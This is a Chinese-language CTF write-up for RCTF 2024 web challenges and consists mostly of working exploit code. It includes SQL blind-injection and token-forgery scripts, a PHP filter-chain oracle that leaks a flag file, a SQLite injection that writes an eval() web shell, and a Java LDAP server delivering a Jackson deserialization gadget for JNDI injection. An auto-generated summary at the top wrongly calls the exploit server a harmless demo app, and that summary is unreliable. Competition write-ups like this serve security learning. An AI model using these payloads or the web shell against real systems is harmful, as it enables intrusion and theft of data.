RCTF 2024 WEB wp

rctf,web,wp · 浏览次数 : 0

小编点评

**项目简介:** 这是一个 Java 应用,它包含一个 HTTP 文件服务器和一个 LDAP服务器,以及一个自定义的 HTTP handler。 **关键类:** * `InMemoryDirectoryServer`:用于创建和启动内存中文件系统。 * `HttpFileHandler`:处理 HTTP 请求的 handler。 * `OperationInterceptor`:用于处理 LDAP 查询的结果。 * `POJONode`:用于 Jackson JSON 格式化。 **主要功能:** 1. 启动一个 HTTP 文件服务器,监听端口 8888。 2. 启动一个 LDAP 服务器,监听端口 1389。 3. 定义一个自定义的 HTTP handler,用于处理来自 HTTP 文件服务器的请求。 4. 使用 `OperationInterceptor` 处理 LDAP 查询的结果。 5. 使用 `POJONode` 进行 JSON 格式化。 **代码分析:** **`InMemoryDirectoryServer`:** * 它创建一个 `MemoryDirectoryServer` 对象,并设置监听端口和服务器类型。 * 启动服务器。 **`HttpFileHandler`:** * 它创建一个 `HttpFileHandler` 对象,并设置请求路径和响应类型。 * 当请求处理完成时,它将请求数据写入文件。 **`OperationInterceptor`:** * 它实现了一个 `OperationInterceptor` 接口,用于处理 LDAP 查询的结果。 * 当 LDAP 查询完成时,它将查询结果写入文件。 **`POJONode`:** * 它创建一个 `POJONode` 对象,用于 Jackson JSON 格式化。 * 它将查询结果格式化为 JSON 字符串。 **使用方法:** 1. 将 `http_server_ip`、`ldap_port` 和 `http_server_port` 设置为实际的 IP地址、端口号和 HTTP 服务的端口号。 2. 运行程序。 3. 访问 `localhost:8888` 或 `localhost:1389` 来访问 HTTP 文件服务器。 4. 访问 `localhost:1389` 来访问 LDAP 服务器。 **总结:** 该项目是一个完整的 Web 应用程序,它展示了 Java 中 HTTP、LDAP 和 Jackson JSON 的使用。它是一个简单的示例,可以用于学习和开发 Web 服务。

正文

RCTF 2024 WEB wp

前言

赛后复现,proxy发现自己真是个呆b...

what_is_love

首先拿key1,sql语句处有注入,可以盲注拿key1的值

import requests
import string
strings = string.digits + string.ascii_uppercase + "_"
url="http://1.94.13.174:10088/key1"
flag='RCTF{'
payload="1' || BINARY love_key REGEXP '{}' #"
for i in range(100000):
    for j in strings:
        data={
            'key1':payload.format(flag+j)
        }
        req=requests.post(url,data=data)
        if "success" in req.text:
            flag=flag+j
            print(flag)
            break

然后key2,本地没有测试saltedSecret 的值,到很晚才解出来..,阅读源码可以知道saltedSecretsecretlove_time 拼接而成,love_time 的值我们可以控制,我们设置成字符串,经过parseInt处理会变成NaN,不管secret 是什么,跟NaN 拼接后也会是NaN,所以saltedSecret 的值就是NaN ,既然salt值可控了,加密方式是sha256,那我们就可以随意构造token了,写个全自动的脚本

import requests
import base64
import hashlib
import json


url = "http://1.94.13.174:10088/key2"
data = {
    "username": "lover",
    "love_time": "a"
}
response = requests.post(url, data=data)
token = response.text.split("token:")[1].strip()
print(f"Obtained token: {token}")


userinfo = {
    "username": "lover",
    "love_time": None,
    "have_lovers": True
}
data_hex = base64.b64encode(json.dumps(userinfo).encode()).decode()
signature = hashlib.sha256(f'{json.dumps(userinfo)}:NaN'.encode()).hexdigest()
evil_token = f"{data_hex}.{signature}"
print(f"Constructed evil token: {evil_token}")


url = "http://1.94.13.174:10088/check"
data = {
    "love_token": evil_token
}
response = requests.post(url, data=data)
print(f"Response from /check: {response.text}")
#_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}

color

Js逆向拿到密钥和iv,测试点击逻辑,可以发现pos的值由rangeNum控制,我们控制rangeNum的值不变,拿返回的json中的data值作为pos的值发送就可以刷分了

import requests

url = "http://124.71.164.28:10088/final/game.php"

r = requests.Session()
# 获取cookie
r.get(url)
# 刷分
data1 = {
    'action': '3wrg4Ich1RsKFUUPmU0vlw==',
    'rangeNum': 'xu9TJ5ohTpq8tlEr1Xr/dA=='
}

for i in range(500):
    data2 = {
        'action': 's03/Zr+K7nTxLc2aiHJQcg==',
        'pos': r.post(url, data1).json()['data']
    }
    print(r.post(url, data2).json())

# game over
data3 = {
    'action': 'IMYZakV42qGIPRWdg/WfFg=='
}  
print(r.post(url, data3).json())

# {'code': 200, 'data': 'CD6Xpy8frmdyBVi4AjanGQ==', 'secret': 'kaZqPAlSbO0yDwz3yeFPJm7P1y8dOPX5rrvFMr70WunhBAPw2i+jUIrc/iAO7uIpZP8rlkDtpBfBwAygY6AUhw=='}

secret解密一下,拿到源码,阅读源码,漏洞点在这

image

file_get_contents,我们可以打侧信道盲注

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
  return '|'.join(x)

def err(s):
  print(s)
  raise ValueError

def req(s):
  data = f'php://filter/{s}/resource=/flag.txt'
  datas = {
        'action': 'xEt6B2i+YJdcrJ/RG3Ie4Q=='
  }
  files = {
      'image': ('web.png', data)
  }
  return "Allowed memory size" in requests.post(f'http://124.71.164.28:10088/final/game.php', data=datas, files=files).text

"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
  payload = join(*[blow_up_utf32]*n)
  if req(f'{header}|{payload}'):
    baseline_blowup = n
    break
else:
  err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
  req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
  req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
  req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
  err('something wrong')
if j[0] == False:
  header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
  header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
  header = f'convert.base64-encode|convert.base64-encode'
else:
  err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
  global flip, r2, r4
  o = []
  chunk = n // 2
  if chunk % 2 == 1: o.append(r4)
  o.extend([flip, r4] * (chunk // 2))
  if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
  return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
  if not req(f'{prefix}|dechunk|{blow_up_inf}'):
    # a-f A-F 0-9
    if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
      # a-e
      for n in range(5):
        if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'edcba'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
      # A-E
      for n in range(5):
        if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'EDCBA'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
      return '*'
    elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # f
      return 'f'
    elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # F
      return 'F'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
    # n-s N-S
    if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
      # n-r
      for n in range(5):
        if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'rqpon'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
      # N-R
      for n in range(5):
        if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'RQPON'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # s
      return 's'
    elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # S
      return 'S'
    else:
      err('something wrong')
  elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # i j k
    if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'k'
    elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'j'
    elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'i'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # I J K
    if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'K'
    elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'J'
    elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'I'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # v w x
    if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'x'
    elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'w'
    elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'v'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # V W X
    if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'X'
    elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'W'
    elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'V'
    else:
      err('something wrong')
  elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # Z
    return 'Z'
  elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # z
    return 'z'
  elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # M
    return 'M'
  elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # m
    return 'm'
  elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # y
    return 'y'
  elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # Y
    return 'Y'
  elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # l
    return 'l'
  elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # L
    return 'L'
  elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # h
    return 'h'
  elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # H
    return 'H'
  elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # u
    return 'u'
  elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # U
    return 'U'
  elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # g
    return 'g'
  elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # G
    return 'G'
  elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # t
    return 't'
  elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # T
    return 'T'
  else:
    err('something wrong')

print()
for i in range(100):
  prefix = f'{header}|{get_nth(i)}'
  letter = find_letter(prefix)
  # it's a number! check base64
  if letter == '*':
    prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
    s = find_letter(prefix)
    if s == 'M':
      # 0 - 3
      prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
      ss = find_letter(prefix)
      if ss in 'CDEFGH':
        letter = '0'
      elif ss in 'STUVWX':
        letter = '1'
      elif ss in 'ijklmn':
        letter = '2'
      elif ss in 'yz*':
        letter = '3'
      else:
        err(f'bad num ({ss})')
    elif s == 'N':
      # 4 - 7
      prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
      ss = find_letter(prefix)
      if ss in 'CDEFGH':
        letter = '4'
      elif ss in 'STUVWX':
        letter = '5'
      elif ss in 'ijklmn':
        letter = '6'
      elif ss in 'yz*':
        letter = '7'
      else:
        err(f'bad num ({ss})')
    elif s == 'O':
      # 8 - 9
      prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
      ss = find_letter(prefix)
      if ss in 'CDEFGH':
        letter = '8'
      elif ss in 'STUVWX':
        letter = '9'
      else:
        err(f'bad num ({ss})')
    else:
      err('wtf')

  print(end=letter)
  o += letter
  sys.stdout.flush()

"""
We are done!! :)
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'',b'')
print(b64decode(d))

删掉前面的几个无关字符,base64解码拿到flag

proxy

其实挺简单一题,就是有点抽风就想不到...,阅读源码,很明显是个sqlite注入,curl_exec 是一点用也没有的,控制$BE就可以开始注入了,但是源码中写了个rollback,也就是有一条sql语句执行没成功就回滚了,于是开始了漫长的测试,测到最后也没同时满足所有sql语句,最终解法:手动commit一次...

payload:?BE=');ATTACH DATABASE '/var/www/html/f12.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval($_POST[1]);phpinfo();?>'); commit;--+

读取flag.php拿到flag

OpenYourEyesToSeeTheWorld

睁眼看世界,睁眼了但没看到世界,审了半天,入口都没找到,害,阅读源码,很明显是个jndi注入,找到入口基本就秒了,一直追踪search到这

image

进入p_resolveIntermediate

image

跟进c_resolveIntermediate_nns,上下两个都一样

image

进入c_lookup,里面就是熟悉的lookup流程了,就不多说这个,怎么才能进到这个c_lookup呢,得满足两个条件,Head和Tail不为空就行了,这两个从searchBase 获取的,对黑名单的绕过可以使用unicode编码,searchBase 在这里进行了处理,可以控制Head和Tail的值

image

进入这个CompositeName,其实就是对/ 进行了分割,写入了一个impl中,具体流程请自行研究,入口找到了就可以打了,既然是spring,直接就能打jackson的templateImpl了,这里打高版本的ldap

package com.ctf;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;


public class LDAPServer2 {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    ldap_port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + ldap_port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    public static class HttpFileHandler implements HttpHandler {
        public HttpFileHandler() {
        }

        public void handle(HttpExchange httpExchange) {
            try {
                System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
                String uri = httpExchange.getRequestURI().getPath();
                InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

                if (inputStream == null){
                    System.out.println("Not Found");
                    httpExchange.close();
                    return;
                }else{
                    while(inputStream.available() > 0) {
                        byteArrayOutputStream.write(inputStream.read());
                    }

                    byte[] bytes = byteArrayOutputStream.toByteArray();
                    httpExchange.sendResponseHeaders(200, (long)bytes.length);
                    httpExchange.getResponseBody().write(bytes);
                    httpExchange.close();
                }
            } catch (Exception var5) {
                var5.printStackTrace();
            }

        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            /** Payload1: Return Reference Factory **/
            // e.addAttribute("javaCodeBase", cbstring);
            // e.addAttribute("objectClass", "javaNamingReference");
            // e.addAttribute("javaFactory", this.codebase.getRef());
            /** Payload1 end **/

            /** Payload2: Return Serialized Gadget **/
            try {
                // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
                e.addAttribute("javaSerializedData",Base64.decode(new BufferedReader(new InputStreamReader(new FileInputStream(new File("D:\\1.txt")))).readLine()));
            } catch (ParseException e1) {
                e1.printStackTrace();
            }
            /** Payload2 end **/

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
    public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
        System.out.println("Starting HTTP server");
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
        httpServer.createContext("/", new HttpFileHandler());
        httpServer.setExecutor(null);
        httpServer.start();
    }

    public static void main(String[] args) throws Exception {
        String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
        args = args1;
        System.out.println("HttpServerAddress: "+args[0]);
        System.out.println("HttpServerPort: "+args[1]);
        System.out.println("LDAPServerPort: "+args[2]);
        String http_server_ip = args[0];
        int ldap_port = Integer.valueOf(args[2]);
        int http_server_port = Integer.valueOf(args[1]);

        lanuchCodebaseURLServer(http_server_ip, http_server_port);
        lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
    }
}
package com.example.demo.controller;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("E:\\demo\\target\\classes\\com\\example\\demo\\calc.class"))};
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,pojoNode);
        FileOutputStream fos = new FileOutputStream("D:\\1.txt");
        fos.write(serial(exp).getBytes());
        Base64.getDecoder().decode(serial(exp));
        File f = new File("D:\\1.txt");
        BufferedReader bfr = new BufferedReader(new InputStreamReader(new FileInputStream(f)));
        System.out.println(bfr.readLine());
//        deserial(serial(exp));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

nosandbox

官方wp还没出,说实话不知道/flag的密钥有啥用,看SAINTSEC的师傅是直接打的cc。所以这题先空着,之后补充(

与RCTF 2024 WEB wp相似的内容: